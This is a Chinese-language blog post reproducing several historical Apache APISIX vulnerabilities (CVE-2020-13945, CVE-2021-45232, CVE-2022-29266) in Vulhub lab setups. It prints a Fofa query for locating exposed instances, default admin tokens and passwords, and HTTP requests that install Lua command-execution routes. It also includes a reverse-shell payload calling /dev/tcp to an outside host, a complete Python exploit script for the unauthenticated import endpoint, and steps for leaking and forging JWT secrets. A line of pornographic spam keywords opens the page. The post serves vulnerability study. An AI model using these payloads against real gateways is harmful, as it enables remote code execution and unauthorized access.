国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析

這篇具有很好參考價(jià)值的文章主要介紹了Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

前言

Apache APISIX 是一個(gè)動(dòng)態(tài)、實(shí)時(shí)、高性能的 API 網(wǎng)關(guān), 提供負(fù)載均衡、動(dòng)態(tài)上游、灰度發(fā)布、服務(wù)熔斷、身份認(rèn)證、可觀測(cè)性等豐富的流量管理功能。

  1. 開源項(xiàng)目地址:https://github.com/apache/apisix;
  2. 官方文檔地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/;

你可以把 Apache APISIX 當(dāng)做流量入口,來處理所有的業(yè)務(wù)數(shù)據(jù),包括動(dòng)態(tài)路由、動(dòng)態(tài)上游、動(dòng)態(tài)證書、金絲雀發(fā)布(灰度發(fā)布)、限流限速、抵御惡意攻擊、監(jiān)控報(bào)警、服務(wù)可觀測(cè)性、服務(wù)治理等。
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Fofa 搜索語法:

title="Apache APISIX"

滲透測(cè)試基本信息:

APISIX 系統(tǒng) 默認(rèn)端口 默認(rèn)憑據(jù)或口令
Apache APISIX 9080 edd1c9f034335f136f87ad84b625c8f1
Apache APISIX Dashboard 9000 admin/admin

官方推薦的快速安裝 APISIX:

curl -sL https://run.api7.ai/apisix/quickstart | sh
# 驗(yàn)證安裝是否成功
curl "http://127.0.0.1:9080" --head | grep Server

Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【創(chuàng)建路由】

通過下面的命令,你將創(chuàng)建一個(gè)路由,把請(qǐng)求 http://127.0.0.1:9080/ip 轉(zhuǎn)發(fā)至 httpbin.org/ip:

root@ubuntu:~/Desktop$ curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d '
{
  "id": "getting-started-ip",
  "uri": "/ip",
  "upstream": {
    "type": "roundrobin",
    "nodes": {
      "httpbin.org:80": 1
    }
  }
}'
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3

{"key":"/apisix/routes/getting-started-ip","value":{"upstream":{"scheme":"http","nodes":{"httpbin.org:80":1},"type":"roundrobin","pass_host":"pass","hash_on":"vars"},"id":"getting-started-ip","priority":0,"update_time":1708220748,"uri":"/ip","status":1,"create_time":1708220748}}
root@ubuntu:~/Desktop$ 
root@ubuntu:~/Desktop$ curl "http://127.0.0.1:9080/ip"
{
  "origin": "XXX.XXX.XXX.21"
}
root@ubuntu:~/Desktop$ 

【部署 APISIX Dashboard】

Apache APISIX Dashboard 是基于瀏覽器的可視化平臺(tái),用于監(jiān)控、管理 Apache APISIX。官方項(xiàng)目地址:https://github.com/apache/apisix-dashboard。

docker pull apache/apisix-dashboard
docker run -d --name dashboard \
           -p 9000:9000        \
           -v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml \
           apache/apisix-dashboard

此處安裝失敗,原因不詳,從 docker 日志看是由于錯(cuò)誤無法連接 2379 的 etcd 服務(wù)。

CVE-2020-13945默認(rèn)api令牌

Apache APISIX 是一個(gè)高性能 API 網(wǎng)關(guān)。在用戶未指定管理員 Token 或使用了默認(rèn)配置文件的情況下,Apache APISIX 將使用默認(rèn)的管理員 Token:edd1c9f034335f136f87ad84b625c8f1,攻擊者利用這個(gè) Token 可以訪問到管理員接口,進(jìn)而通過 script 參數(shù)來插入任意 LUA 腳本并執(zhí)行。

該默認(rèn)令牌配置文件位于:https://github.com/apache/apisix/blob/master/conf/config.yaml, 這是一個(gè)默認(rèn)配置導(dǎo)致的安全問題,實(shí)際上從官方文檔也可以看出官方并不會(huì)修復(fù)該 CVE 漏洞,而是給出了安全提醒:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【環(huán)境搭建】

基于 Vulhub 快速搭建靶場(chǎng)環(huán)境(https://vulhub.org/#/environments/apisix/CVE-2020-13945/):
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
環(huán)境啟動(dòng)后,訪問 http://your-ip:9080 即可查看到默認(rèn)的 404 頁面。
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【漏洞復(fù)現(xiàn)】

利用默認(rèn) Token 增加一個(gè)惡意的 router( 該 API 接口詳細(xì)參數(shù)請(qǐng)參見官方文檔:Admin API | Apache APISIX),其中包含惡意 LUA 腳本:

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
    "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
然后,我們?cè)L問剛才添加的 router,就可以通過 cmd 參數(shù)執(zhí)行任意命令:http://your-ip:9080/attack?cmd=id
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【其他管理接口】

Admin API (https://apisix.apache.org/zh/docs/apisix/admin-api)是一組用于配置 Apache APISIX 路由、上游、服務(wù)、SSL 證書等功能的 RESTful API。你可以通過 Admin API 來獲取、創(chuàng)建、更新以及刪除資源。同時(shí)得益于 APISIX 的熱加載能力,資源配置完成后 APISIX 將會(huì)自動(dòng)更新配置,無需重啟服務(wù)。

以“獲取資源列表”的接口 /apisix/admin/consumers 為例:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞

CVE-2021-45232未授權(quán)接口

Apache APISIX Dashboard 是基于瀏覽器的可視化平臺(tái),用于監(jiān)控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在兩個(gè) API:/apisix/admin/migrate/export/apisix/admin/migrate/import,它們沒有經(jīng)過 droplet 框架的權(quán)限驗(yàn)證,導(dǎo)致未授權(quán)的攻擊者可以導(dǎo)出、導(dǎo)入當(dāng)前網(wǎng)關(guān)的所有配置項(xiàng),包括路由、服務(wù)、腳本等。攻擊者通過導(dǎo)入惡意路由,可以用來讓 Apache APISIX 訪問任意網(wǎng)站,甚至執(zhí)行 LUA 腳本。

繼續(xù)使用 Vulhub 一鍵搭建靶場(chǎng)環(huán)境:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
然后訪問 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登錄頁面:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞

2.1 默認(rèn)賬戶密碼導(dǎo)致RCE

官方默認(rèn)登錄賬戶密碼 admin/admin(Vulhub 鏡像的密碼為 vulhub):
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
其實(shí)實(shí)戰(zhàn)中如果沒有敏感接口的未授權(quán)訪問漏洞的話,是可以通過弱密碼登錄后臺(tái)進(jìn)行 RCE 的,接下來先看看進(jìn)入后臺(tái)后如何完成 RCE。

1、 先創(chuàng)建任意名稱的上游服務(wù),請(qǐng)注意目標(biāo)節(jié)點(diǎn)信息后面觸發(fā) RCE 會(huì)用到:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
2、 接著創(chuàng)建路由,把選擇上游服務(wù)選擇為上面的創(chuàng)造的上游:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
3、訪問上述創(chuàng)建的路由,通過“查看”修改配置,添加反彈 Shell 的 Lua Script:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
提交修改請(qǐng)求(API 接口參數(shù)釋義請(qǐng)參見:https://apisix.apache.org/zh/docs/apisix/admin-api/#route),數(shù)據(jù)包如下:

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close

{"uri":"/*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream_id":"501154557745693377","status":1}

4、接著訪問:http://127.0.0.1:9080/rce,即可觸發(fā)命令執(zhí)行實(shí)現(xiàn) RCE:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【More】創(chuàng)建路由時(shí)并非強(qiáng)制選擇上游服務(wù),故上述創(chuàng)建上游服務(wù)的步驟也可以直接忽略,直接創(chuàng)建路由并指定一個(gè)有效的目標(biāo)節(jié)點(diǎn)(主機(jī)名+有效業(yè)務(wù)端口)接口,比如:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞

2.2 未授權(quán)訪問api接口RCE

此漏洞的鑒權(quán)缺陷源碼分析可參見:https://xz.aliyun.com/t/10732。

那如果沒有默認(rèn)密碼或者弱密碼的話,這時(shí)我們就利用未授權(quán)接口進(jìn)行 RCE 了。這里我們需要知道這兩個(gè)接口一個(gè)是用來導(dǎo)出配置文件,一個(gè)是用來導(dǎo)入配置文件的。

我們可以使用 /apisix/admin/migrate/export 直接導(dǎo)出配置文件,刪除 Authorization 字段后發(fā)現(xiàn)是可以正常未授權(quán)訪問的:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
接下來利用另一個(gè)接口導(dǎo)入惡意配置即可實(shí)現(xiàn) RCE,但是從上面導(dǎo)出的配置數(shù)據(jù)可以看到,后面多出四個(gè)字節(jié),這 4 個(gè)字節(jié)其實(shí)是配置文件的 checksum 值,在導(dǎo)入配置文件時(shí),也會(huì)對(duì)配置文件的 checksum 值進(jìn)行校驗(yàn),那這里需要閱讀 APISIX 源碼并編寫腳本算出 checksum 校驗(yàn)值。

簡(jiǎn)單起見,直接利用 Github 現(xiàn)成的 POC 驗(yàn)證程序即可:https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def export_data(url):
    r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
    return r.text[:-4]


def import_data(url, data):
    data = json.dumps(data).encode()
    crc32 = calc_crc(data)

    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
    # print(resp.text)
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("python " + sys.argv[0] + " http://127.0.0.1:9000")
        exit()

    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]

    uri = random_str()
    eval_config["Routes"][0]["uris"] = [ "/" + uri]
    eval_config["Routes"][0]["name"] = uri

    if import_data(url, eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

腳本攻擊效果演示如下(注意執(zhí)行命令時(shí)應(yīng)更換為 9080 端口):
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
回到 Dashboard 管理臺(tái)即可發(fā)現(xiàn)上述腳本創(chuàng)建了一個(gè)惡意路由:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞

CVE-2022-24112 地址限制繞過

官方發(fā)布的漏洞信息:https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
此漏洞相對(duì)比較雞肋,主要是用于繞過 IP 地址訪問限制,漏洞利用條件是目標(biāo)系統(tǒng)使用了默認(rèn)的 Admin Key(即 CVE-2020-13945 中的 X-API-KEY),此處暫不復(fù)現(xiàn)。

參考文章:

  1. CVE-2022-24112 Apache APISIX 遠(yuǎn)程代碼執(zhí)行漏洞;
  2. CVE-2022-24112:Apache APISIX 命令執(zhí)行漏洞 - 華盟學(xué)院;
  3. https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py;

CVE-2022-29266 JWT令牌偽造

在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依賴于 lua-resty-jwt 庫,而在 lua-resty-jwt 庫返回的錯(cuò)誤信息中可能會(huì)包含 JWT 的 sceret 值,因此對(duì)于開啟了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,攻擊者可以通過向受 jwt-auth 插件保護(hù)的路由發(fā)送不正確的 JSON Web 令牌并通過錯(cuò)誤消息響應(yīng)獲取插件配置的 JWT Secret,進(jìn)而偽造有效的 JWT 會(huì)話憑證來非法訪問 API 接口。

漏洞分析參考文章:《APISIX CVE-2022-29266 漏洞分析與復(fù)現(xiàn) |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密鑰泄漏》。

4.1 漏洞源碼簡(jiǎn)析與修復(fù)

通過 Apache 官方提交的修復(fù)記錄 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的問題點(diǎn):
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
修改代碼將 401 返回的附加信息 jwt_obj.reason 刪除,變更為本地日志打印??梢栽?lua-resty-jwt 庫(https://github.com/SkyLothar/lua-resty-jwt)中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有個(gè) jwt_obj.reason 中包含了 secret,這里代碼的意思是說,如果程序執(zhí)行正常就返回 secret 的值,否則就返回具體的異常信息。
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
此處借用 TeamsSix 的分析總結(jié),漏洞利用的前提有以下三個(gè):

  • APISIX 需要開啟 jwt-auth 插件;
  • jwt-auth 插件算法需要是 HS256 或者 HS512;
  • secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串;

如果滿足了這三個(gè)前提,當(dāng)我們利用 RS256 或者 RS512 的 JWT 值發(fā)送給 APISIX 的時(shí)候,我們就會(huì)得到 jwt-auth 中的 secret,從而實(shí)現(xiàn) JWT 偽造了。

4.2 漏洞環(huán)境搭建與復(fù)現(xiàn)

漏洞復(fù)現(xiàn)沿用上文 CVE-2021-45232 的 Vulhub 靶場(chǎng)環(huán)境即可,APISIX 版本為 2.9,符合漏洞條件。
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞

此漏洞涉及 JWT 令牌的相關(guān)知識(shí),不熟悉 JWT 基礎(chǔ)安全知識(shí)的話請(qǐng)參見《Web安全-JWT認(rèn)證機(jī)制安全性淺析》,關(guān)于 JWT 密鑰泄露的類似 CVE 漏洞也可參見《Nacos系統(tǒng)歷史CVE漏洞的復(fù)現(xiàn)分析與檢測(cè)》中的“QVD-2023-6271默認(rèn)密鑰”章節(jié)。

一鍵搭建完 Vulhub 的漏洞環(huán)境后,進(jìn)入 dashboard 創(chuàng)建消費(fèi)者,啟用 jwt-auth 認(rèn)證機(jī)制:

Consumer(也稱之為消費(fèi)者)是指使用 API 的應(yīng)用或開發(fā)人員。在 APISIX 中,消費(fèi)者需要一個(gè)全局唯一的 名稱,并從上面的列表中選擇一個(gè)身份驗(yàn)證 插件。

Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
{ "key": "tr0e", "secret": "passwd123456789" } 填寫到編輯器里,值的話可以隨便寫,算法的默認(rèn)配置是 HS256 。
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
創(chuàng)建完消費(fèi)者 tr0e 以后,開始創(chuàng)建路由:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
同樣需要啟用 jwt-auth 插件:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
提交并完成路由配置:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【驗(yàn)證 JWT 插件】

從官方指導(dǎo)文檔:https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到,啟用了 jwt-auth 插件后,會(huì)增加 /apisix/plugin/jwt/sign 這個(gè)接口。在命令行輸入以下命令,參數(shù) key 的值就是剛剛在創(chuàng)建 consumer 時(shí)配置的 key 值,通過訪問這個(gè) api 即可獲取到 JWT 認(rèn)證憑據(jù):
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
攜帶獲得的 JWT 憑據(jù)發(fā)起對(duì)應(yīng)配置的 /tr0e666 路由的請(qǐng)求,未返回 401 即代表鑒權(quán)成功:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
將此接口返回的 JWT 憑證作下解碼可以看到 Payload 信息,其中 exp 是 JWT 的有效時(shí)間限制:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
【漏洞復(fù)現(xiàn)】

JSON Web Tokens 網(wǎng)站 https://jwt.io/#debugger-io 可以幫助我們快速構(gòu)建 JWT 憑據(jù)。

需要一個(gè) RS256 算法的 JWT 值,這里為了方便直接在 jwt.io 中生成,只需要將算法改為 RS256,Payload 改為以下內(nèi)容即可,注意 Payload 中的 key 值需要和下面創(chuàng)建 consumer 對(duì)象時(shí)的 key 一致。

{"key": "tr0e"}

Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
然后將上面拿到的 JWT 憑據(jù)發(fā)起訪問受保護(hù)的路由的請(qǐng)求:

root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H 'Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI_c6_rKl-1KLPT7cWe0X7LOdeyOR0C4F_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg' -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9

{"message":"Decode secret is not a valid cert\/public key: passwd123456789"}
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 

Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
此時(shí)拿到 JWT 的 Secret(即 passwd123456789)后,即可自行頒發(fā)有效的 JWT:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞
拿著自生成的 JWT 憑證成功訪問受保護(hù)的路由:
Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析,漏洞分析,Apisix漏洞

總結(jié)

Apache APISIX 作為一個(gè)動(dòng)態(tài)、實(shí)時(shí)、高性能的云原生 API 網(wǎng)關(guān),提供了負(fù)載均衡、動(dòng)態(tài)上游、灰度發(fā)布、服務(wù)熔斷、身份認(rèn)證、可觀測(cè)性等豐富的流量管理功能。本文總計(jì)、復(fù)現(xiàn)可 Apache APISIX 網(wǎng)關(guān)系統(tǒng)的幾個(gè)歷史 CVE 漏洞。

Apache APISIX 被廣泛應(yīng)用于各大企業(yè)的云服務(wù)業(yè)務(wù),因而也成為各類攻防演練的關(guān)注對(duì)象。作為運(yùn)維人員或開發(fā)人員,應(yīng)當(dāng)及時(shí)更新 APISIX 的版本,避免系統(tǒng)因未及時(shí)覆蓋安全補(bǔ)丁導(dǎo)致系統(tǒng)被入侵。文章來源地址http://www.zghlxwxcb.cn/news/detail-827144.html

到了這里,關(guān)于Apache Apisix網(wǎng)關(guān)系統(tǒng)歷史漏洞復(fù)現(xiàn)分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • shiro漏洞復(fù)現(xiàn)及其攻擊流量分析

    shiro漏洞復(fù)現(xiàn)及其攻擊流量分析

    最近面試時(shí)經(jīng)常被問到,每次說的都不太完美,現(xiàn)在再來復(fù)現(xiàn)一邊。 Apache Shiro是一個(gè)開源安全框架,提供身份驗(yàn)證、授權(quán)、密碼學(xué)和會(huì)話管理。 利用vulhub搭建的靶場(chǎng)。 在Apache Shiro = 1.2.4版本中存在反序列化漏洞。 該漏洞成因在于,Shiro的“記住我”功能是設(shè)置cookie中的reme

    2024年02月06日
    瀏覽(17)
  • 【網(wǎng)絡(luò)安全】CVE漏洞分析以及復(fù)現(xiàn)

    【網(wǎng)絡(luò)安全】CVE漏洞分析以及復(fù)現(xiàn)

    漏洞詳情 Shiro 在路徑控制的時(shí)候,未能對(duì)傳入的 url 編碼進(jìn)行 decode 解碼,導(dǎo)致攻擊者可以繞過過濾器,訪問被過濾的路徑。 漏洞影響版本 Shiro 1.0.0-incubating 對(duì)應(yīng) Maven Repo 里面也有 【一一幫助安全學(xué)習(xí),所有資源獲取一一】 ①網(wǎng)絡(luò)安全學(xué)習(xí)路線 ②20份滲透測(cè)試電子書 ③安全

    2024年02月06日
    瀏覽(28)
  • 安恒信息-明御安全網(wǎng)關(guān) 命令執(zhí)行漏洞分析

    目錄 注意 漏洞描述 漏洞位置 漏洞代碼 POC: 由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),文章作者不為此承擔(dān)任何責(zé)任。 安恒信息-明御安全網(wǎng)關(guān)存在命令執(zhí)行漏洞,導(dǎo)致攻擊者可以直接執(zhí)行系統(tǒng)命令,從而控制目標(biāo)系

    2024年02月12日
    瀏覽(23)
  • MS17-010(永恒之藍(lán))漏洞分析與復(fù)現(xiàn)

    MS17-010(永恒之藍(lán))漏洞分析與復(fù)現(xiàn)

    一、漏洞簡(jiǎn)介 1、永恒之藍(lán)介紹: 永恒之藍(lán)漏洞(MS17-010),它的爆發(fā)源于 WannaCry 勒索病毒的誕生,該病毒是不法分子利用NSA(National Security Agency,美國(guó)國(guó)家安全局)泄露的漏洞 “EternalBlue”(永恒之藍(lán))進(jìn)行改造而成 。勒索病毒的肆虐,儼然是一場(chǎng)全球性互聯(lián)網(wǎng)災(zāi)難,給廣

    2024年02月02日
    瀏覽(20)
  • Thinkphp5.x全漏洞復(fù)現(xiàn)分析

    Thinkphp5.x全漏洞復(fù)現(xiàn)分析

    我們可以把namespace理解為一個(gè)單獨(dú)的空間,事實(shí)上它也就是一個(gè)空間而已,子命名空間那就是空間里再劃分幾個(gè)小空間,舉個(gè)例子: 當(dāng)有多個(gè)子命名空間有相同名稱類時(shí),不指定使用哪個(gè)命名空間的情況下取最后定義的命名空間中的類,比如上面的 dog 取的時(shí) dogC 中的類,在

    2024年04月22日
    瀏覽(25)
  • CVE-2020-1472 Netlogon特權(quán)提升漏洞分析及復(fù)現(xiàn)

    CVE-2020-1472 Netlogon特權(quán)提升漏洞分析及復(fù)現(xiàn)

    NetLogon遠(yuǎn)程協(xié)議是一種在Windows 域控上使用的RPC 接口,被用于各種與用戶和機(jī)器認(rèn)證相關(guān)的任務(wù)。最常用于讓用戶使用NTLM協(xié)議登錄服務(wù)器,也用于NTP響應(yīng)認(rèn)證以及更新計(jì)算機(jī)域密碼。 微軟MSRC于8月11日發(fā)布了Netlogon 特權(quán)提升漏洞安全通告。此漏洞CVE編號(hào)CVE-2020-1472,CVSS評(píng)分:1

    2024年02月16日
